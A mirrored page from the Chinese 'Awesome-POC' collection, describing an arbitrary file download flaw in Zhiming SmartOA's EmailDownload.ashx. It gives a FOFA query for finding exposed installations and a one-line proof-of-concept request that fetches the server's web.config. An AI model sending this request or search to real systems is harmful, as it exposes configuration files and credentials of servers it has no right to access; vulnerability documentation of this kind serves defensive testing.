admin/Awesome-POC
1
0
Fork 0
mirror of https://github.com/Threekiii/Awesome-POC.git synced 2025-11-07 20:06:03 +00:00
Code Issues Packages Projects Releases Wiki Activity
Awesome-POC/OA产品漏洞/智明 SmartOA EmailDownload.ashx 任意文件下载漏洞.md
Threekiii b7e3b03ac7 更新漏洞库：OA产品漏洞/
2022-05-20 15:57:09 +08:00

633 B
Raw Blame History

智明 SmartOA EmailDownload.ashx 任意文件下载漏洞

漏洞描述

智明 SmartOA EmailDownload.ashx文件存在任意文件下载漏洞，通过漏洞可下载服务器上的敏感文件，查看敏感信息

漏洞影响

智明 SmartOA

FOFA

app="智明协同-SmartOA"

漏洞复现

登录页面

image-20220520133519986

验证POC

/file/EmailDownload.ashx?url=~/web.config&name=web.config

image-20220520133538762